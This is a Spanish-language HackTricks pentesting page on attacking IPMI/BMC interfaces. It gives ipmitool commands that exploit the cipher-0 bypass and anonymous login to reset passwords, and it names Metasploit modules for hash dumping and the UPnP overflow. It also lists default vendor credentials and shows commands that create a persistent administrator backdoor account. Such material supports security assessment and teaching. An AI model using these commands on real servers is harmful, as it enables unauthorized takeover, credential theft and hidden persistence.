9.6 KiB
623/UDP/TCP - IPMI
623/UDP/TCP - IPMI
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén artículos oficiales de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.
Información Básica
Visión general de IPMI
Intelligent Platform Management Interface (IPMI) ofrece un enfoque estandarizado para la gestión remota y monitoreo de sistemas informáticos, independientemente del sistema operativo o estado de energía. Esta tecnología permite a los administradores de sistemas gestionar sistemas de forma remota, incluso cuando están apagados o no responden, y es especialmente útil para:
- Configuraciones de arranque previo al sistema operativo
- Gestión de apagado
- Recuperación de fallos del sistema
IPMI es capaz de monitorear temperaturas, voltajes, velocidades de los ventiladores y fuentes de alimentación, además de proporcionar información de inventario, revisar registros de hardware y enviar alertas a través de SNMP. Para su funcionamiento es esencial una fuente de alimentación y una conexión LAN.
Desde su introducción por Intel en 1998, IPMI ha sido compatible con numerosos proveedores, mejorando las capacidades de gestión remota, especialmente con el soporte de la versión 2.0 para serie sobre LAN. Los componentes clave incluyen:
- Controlador de Gestión de Placa Base (BMC): El microcontrolador principal para las operaciones de IPMI.
- Buses e Interfaces de Comunicación: Para comunicación interna y externa, incluyendo ICMB, IPMB y varias interfaces para conexiones locales y de red.
- Memoria IPMI: Para almacenar registros y datos.
Puerto Predeterminado: 623/UDP/TCP (Generalmente se encuentra en UDP pero también podría estar en TCP)
Enumeración
Descubrimiento
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
Puedes identificar la versión usando:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
Vulnerabilidades de IPMI
En el ámbito de IPMI 2.0, se descubrió una importante falla de seguridad por Dan Farmer, exponiendo una vulnerabilidad a través del tipo de cifrado 0. Esta vulnerabilidad, documentada en detalle en la investigación de Dan Farmer, permite el acceso no autorizado con cualquier contraseña siempre que se apunte a un usuario válido. Esta debilidad se encontró en varios BMCs de fabricantes como HP, Dell y Supermicro, lo que sugiere un problema generalizado en todas las implementaciones de IPMI 2.0.
Bypass de Autenticación de IPMI a través de Cipher 0
Para detectar esta falla, se puede emplear el siguiente escáner auxiliar de Metasploit:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
La explotación de esta falla es posible con ipmitool
, como se muestra a continuación, lo que permite la lista y modificación de contraseñas de usuario:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
IPMI 2.0 Recuperación remota de hash de contraseña de autenticación RAKP
Esta vulnerabilidad permite la recuperación de contraseñas con hash salado (MD5 y SHA1) para cualquier nombre de usuario existente. Para probar esta vulnerabilidad, Metasploit ofrece un módulo:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
Autenticación Anónima de IPMI
Una configuración predeterminada en muchos BMCs permite el acceso "anónimo", caracterizado por cadenas de nombre de usuario y contraseña nulas. Esta configuración puede ser explotada para restablecer contraseñas de cuentas de usuario nombradas utilizando ipmitool
:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Contraseñas en texto claro de IPMI de Supermicro
Una elección de diseño crítica en IPMI 2.0 requiere el almacenamiento de contraseñas en texto claro dentro de los BMC para fines de autenticación. El almacenamiento de Supermicro de estas contraseñas en ubicaciones como /nv/PSBlock
o /nv/PSStore
plantea preocupaciones de seguridad significativas:
cat /nv/PSBlock
Vulnerabilidad de UPnP de Supermicro IPMI
La inclusión por parte de Supermicro de un escucha UPnP SSDP en su firmware de IPMI, particularmente en el puerto UDP 1900, introduce un grave riesgo de seguridad. Las vulnerabilidades en el SDK de Intel para Dispositivos UPnP versión 1.3.1, como se detalla en la divulgación de Rapid7, permiten el acceso root al BMC:
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Ataque de Fuerza Bruta
HP aleatoriza la contraseña predeterminada para su producto Integrated Lights Out (iLO) durante la fabricación. Esta práctica contrasta con otros fabricantes, que tienden a utilizar credenciales predeterminadas estáticas. Se proporciona un resumen de nombres de usuario y contraseñas predeterminadas para varios productos de la siguiente manera:
- HP Integrated Lights Out (iLO) utiliza una cadena de 8 caracteres aleatoria de fábrica como su contraseña predeterminada, mostrando un nivel de seguridad más alto.
- Productos como Dell's iDRAC, IBM's IMM y Fujitsu's Integrated Remote Management Controller utilizan contraseñas fáciles de adivinar como "calvin", "PASSW0RD" (con un cero) y "admin" respectivamente.
- De manera similar, Supermicro IPMI (2.0), Oracle/Sun ILOM y ASUS iKVM BMC también utilizan credenciales predeterminadas simples, con "ADMIN", "changeme" y "admin" como contraseñas.
Accediendo al Host a través de BMC
El acceso administrativo al Controlador de Gestión de la Placa Base (BMC) abre diversas vías para acceder al sistema operativo del host. Un enfoque directo implica explotar la funcionalidad de Teclado, Video, Ratón (KVM) del BMC. Esto se puede hacer reiniciando el host a un shell raíz a través de GRUB (usando init=/bin/sh
) o arrancando desde un CD-ROM virtual configurado como un disco de rescate. Estos métodos permiten la manipulación directa del disco del host, incluida la inserción de puertas traseras, extracción de datos o cualquier acción necesaria para una evaluación de seguridad. Sin embargo, esto requiere reiniciar el host, lo cual es una desventaja significativa. Sin reiniciar, acceder al host en ejecución es más complejo y varía según la configuración del host. Si la consola física o serie del host permanece iniciada, se puede tomar fácilmente a través de las funcionalidades KVM o serial-over-LAN (sol) del BMC mediante ipmitool
. Explorar la explotación de recursos de hardware compartidos, como el bus i2c y el chip Super I/O, es un área que requiere una investigación adicional.
Introduciendo Puertas Traseras en BMC desde el Host
Tras comprometer un host equipado con un BMC, la interfaz local del BMC se puede aprovechar para insertar una cuenta de usuario de puerta trasera, creando una presencia duradera en el servidor. Este ataque requiere la presencia de ipmitool
en el host comprometido y la activación del soporte del controlador BMC. Los siguientes comandos ilustran cómo se puede inyectar una nueva cuenta de usuario en el BMC utilizando la interfaz local del host, lo que evita la necesidad de autenticación. Esta técnica es aplicable a una amplia gama de sistemas operativos, incluidos Linux, Windows, BSD e incluso DOS.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
puerto:623